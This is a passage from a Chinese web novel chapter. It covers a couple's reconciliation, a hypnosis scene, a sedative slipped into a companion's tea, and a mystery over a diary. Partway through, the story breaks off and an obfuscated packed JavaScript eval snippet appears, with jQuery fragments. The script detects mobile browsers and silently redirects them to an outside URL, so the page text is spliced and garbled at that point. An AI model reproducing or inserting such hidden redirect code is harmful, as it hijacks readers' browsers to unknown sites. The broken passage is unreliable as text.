房间内的药香味仍未散去,宋昀棠耐心听她说了许多。


    就连当初怎么报复裴隽的事情都一五一十说出来了:


    一次夏日里,她曾与云知绾相约赏花,可那日她却因为一些事情绊住了脚,云知绾先行去了西郊,那日的必经之路上却意外冒出一条水蛇。


    幸好后来初蕴浅及时赶到,抓住蛇的七寸检查了一番,故作恶劣地在云知绾面前晃了晃,“胆子真小,一条无牙蛇也怕?”


    实则是点明:这蛇没毒牙,别害怕。


    当晚罪魁祸首的房间里便“巧合”地钻进了一条二尺长的竹叶青。


    若是云知绾再晚些将口吐白沫的裴隽送到宋昀棠那里,估计这会儿就已经天人永隔了。


    次月,初蕴浅带着云知绾去和镇上其他姑娘们一块儿过乞巧节,虽说她当时和镇上女孩们关系不怎么亲近了,但有初家姑娘这一层身份,这种小宴会还是会带着她一起玩。


    却在宴会上发现云知绾的衣裳有些问题,往对方身上泼茶水,实则是找借口带云知绾换一套衣裙。


    第二日,裴隽就因为满脸被蜜蜂叮成猪头而一连两月不曾出门。


    诸如此类还有许多。


    宋昀棠若有所思,这些事情并未过去太久,他甚至记得一清二楚。


    裴隽被云知绾送来救治的时候,他还狠狠宰了对方一笔。


    后来他检查过那件衣裳,上面的香料的确是出自自己之手,可他从未和裴隽做过香料交易,那人也不可能偷得到。


    宋昀棠轻笑一声,不过现在他倒是知道真相了。


    他也恍然大悟:怪不得浅浅从前年八月开始就一直紧盯着裴隽的一举一动,原来不是心悦于那人,而是为了时时防着。


    发现这一点后,宋昀棠清楚地听见自己的心脏在胸腔内疯狂跳动的声音,小心翼翼地开口:“那个护身符,你不是要送给裴隽的,对吗?”


    初蕴浅不说话了,任他如何引导都紧闭着双唇。


    她眼神躲闪不敢直视他的眼睛,双颊绯红,紧张地咽口水。


    宋昀棠不再逼问,看着她,笑得一脸幸福。


    看来一切都有了答案。


    屋内空气似乎凝结了一阵,二人大眼瞪小眼。


    宋昀棠觉得有什么不太对劲,好像忘记了什么很重要的事。


    “哎呀我不是要跟你说这些……好吧,不止是。”


    初蕴浅看见他从袖中取出一枚铜钱,用一根红色丝线仔细地系好。


    “你需要休息,”丝线在他指间缠绕,形成一个复杂的结,“但有些事情,现在就要弄清楚。”


    铜钱被悬在她眼前,开始缓慢而规律地摆动。


    金属边缘在昏黄的烛光下泛着幽微的光泽,划出一道道令人目眩的弧线。他半跪在榻前,让铜钱停留在她视线正前方。


    “看着它。”他的声音低沉而平稳,还说了些什么,她没再能听清。


    他的语速逐渐放缓,与铜钱摆动的节奏奇异地同步起来。


    初蕴浅感觉眼皮渐渐沉重,呼吸变得绵长而均匀。窗外的江水声似乎渐渐远去,周围的一切缩小到只剩下那枚晃动的铜钱和那个低沉的声音。


    “告诉我,你看见了什么?”


    她的睫毛微微颤动,出奇配合地回答:“水里……我很冷……”


    “继续看。”


    “她在求救,我救不了……”她的声音似乎染上哭腔,眼角却流不出一点泪水,“很远,又很近。”


    “是谁在求救?”他的追问轻柔却执着。


    初蕴浅的眉头紧锁,额头上渗出细密的汗珠,不肯再回答。


    宋昀棠的手指微微收紧,红线在他指节上勒出浅痕,铜钱的摆动骤然停止,悬在半空。


    “罢了。”他将神色近乎痛苦的她搂进怀中,下巴抵在她肩窝处,大手一下下轻轻拍着她的后背安抚,“你现在是安全的,别害怕。”


    怀里的初蕴浅渐渐放下不安,可看着他的眼神依旧防备,似乎是怕他再对她做什么。


    宋昀棠无奈地哄着:“睡会儿吧,醒来什么都好了。”


    初蕴浅一动不动。


    “……那我去把云知绾叫来陪着你?”


    她点点头。


    他站起身,来到门口时,手中动作顿了一下。开门后,面色不悦地盯着对方。


    云知绾嘴角微搐,“师父。”


    “都听见了?”


    “嗯。”尤其是那些看似她与自己斗气,实则是在保护自己的事情真相。


    “那你陪着她。”


    说完宋昀棠便大步流星地离开。


    云知绾也在初蕴浅身上发现了类似于长顺的怪异,这一月以来都是她亲自给她上药,不许宋昀棠再靠近半步。


    初蕴浅也不大愿意见他,担心扯到她后背的伤口,也担心她愈发讨厌自己,他也便忍着心里的思念。


    只隔三差五地,在夜里她熟睡后,悄悄来到她榻边,看着她安静的睡颜。


    ***


    一月后,他们顺利在渔镇客栈里安顿下来,而今日也正好是她那份药效结束的日子,宋昀棠便给云知绾的茶水里放了些安神的东西,终于逮到机会来和自己未过门的娘子说说话。


    怎么还是这般窝囊,好像做贼似的?


    他无奈地摇头,借了客栈的厨房给初蕴浅做了几样她爱吃的,端回她房间时,瞧见她正盯着窗外发呆。


    “想什么呢?快过来吃些东西。”


    听见宋昀棠的声音,初蕴浅连忙将手中的册子塞进被窝里,若无其事地站起身坐到桌前,安安静静地享用着他带来的饭菜。


    宋昀棠似乎并不着急走,坐在她斜对面,一手支在桌上撑着侧脸,眸色温柔地看着她的动作。


    估计是一早便饿了,她吃得有些快,给她倒了杯水后,他温声提醒道:“吃慢些,我又不跟你抢。”


    “嗯。”她含糊不清地应着。


    “好吃吗?”


    “嗯。”


    “喜欢我吗?”


    “嗯~”这回语气倒是带着一贯的嫌弃。


    宋昀棠笑了笑,还好没有饿昏头。


    “不喜欢我,所以我在你眼里竟是一个大魔头?”


    他突然这么问,初蕴浅嚼着青菜的动作停住,眼珠转动了几下,嚼吧嚼吧把那根青菜咽了下去。


    “听不懂你在说什么。”


    怎料宋昀棠竟学着她往日的模样猜测地说道:“要是他被我气心脏骤停,算我功劳吗?”


    初蕴浅彻底僵住。


    她一直有写日记的习惯。当初在墨梨镇时,尚未转变目标,在记录对付大魔头的手册里批注过这样一句话。


    可怪就怪在,当初为了不被发现,离开墨梨镇前她还亲自将那册子烧掉,销毁了证据。


    然而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16176242|176690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就在刚才,宋昀棠出去之后,她拿起桌子上的册子一翻,上面记录的每一句话都与自己当初写的一模一样。


    连字迹都与她苦练的结果都高度相似。


    她想到穿来大巍后,曾按照原身从前的字迹练过,以致于怀疑原身并未离开这具身体,在宋昀棠所说的那一月里也是原身的灵魂醒了过来。


    想到这一点,初蕴浅又翻了翻册子,发现那句特别批注的话后头跟了一句小字:好办法,让那家伙喝一壶。


    这不是她写的。


    也让她对于原先的猜测动摇了几分,就算是原身有自己的记忆,照着记忆复刻了这些内容,为什么还对自己当初准备气死宋昀棠的想法表示赞同呢?


    初蕴浅左想右想都想不明白,看着窗外发呆,甚至没听见他走近的脚步声。


    而此时,宋昀棠看着她垂眸思索的样子,伸出手指在她脑门敲了一记爆栗。


    “不是我干的,”她捂着微痛的额头,干脆装作什么都不知道,“我也不知道那东西从哪儿来的,我都不记得这一月发生了什么。”


    她又专心吃饭,宋昀棠也没再揶揄。


    那本册子,他半月前就发现了,她睡着时总会像抱着宝贝一样不肯撒手,他也从来没主动抢过。


    直到那晚天色开始泛白,他正准备离开屋内,那册子却碰巧掉在他脚边。


    宋昀棠盯着地上的东西纠结了一小会儿。


    悄无声息地拾了起来。


    十分不经意地看了看。


    再面无表情地塞回她手里,默默地走出房门。


    嗯,原来自己在娘子眼里是一个大魔头啊。


    思绪从回忆里飘出,宋昀棠试图为自己正名:“我也觉得那东西不是浅浅写的。我在你眼里应当是高风亮节、温润如玉的好男人才对,怎么会是那副模样?”


    初蕴浅差点被噎着,他这说的是哪地的方言啊,怎么听不懂啊?


    “高风亮节?温润如玉?”


    她惊异的目光盯得他心虚地搓搓胳膊,“不是吗?”


    初蕴浅气笑,放下筷子,学着他当初的模样,“初蕴浅,你如今竟敢对我说出这种话来。既如此,你便别想再开口了。”


    宋昀棠一愣,有些坐立难安。


    可她的表演还没完,换了个掐脖怒视的动作:“初蕴浅,你好大的胆子!”


    眼底泛着羞恼的怒火。


    宋昀棠紧抿双唇,不敢反驳——这全是自己当初对她做过的。


    那会儿他俩真是针尖对麦芒,谁也不惯着谁。


    “行了,咱俩都不是什么好人,也别在对方面前装无辜了。”初蕴浅摆摆手。


    “怎么会?”宋昀棠轻声呢喃,“我们浅浅是这世上顶顶好的人。”


    初蕴浅有些尴尬,“哇塞,你这句话说得可真好啊,我这刚说完咱俩都不是什么好人。”


    就给她来这么一出。


    宋昀棠被她话里的阴阳怪气逗笑,偶然间瞥见一旁的鱼形玉佩上,“浅浅,你一直把这东西护得好好的吗?”


    初蕴浅也顺着看去,那股怪异的感觉已经几次涌上她心头,她却像迷雾中看不清前路的人。


    但能肯定的是,现在的宋昀棠对她来说绝对不算敌人,或者也可能是……朋友?


    “这东西一看就很值钱,要是它不见了,回头你讹我怎么办?”


    她还是想怼他两句。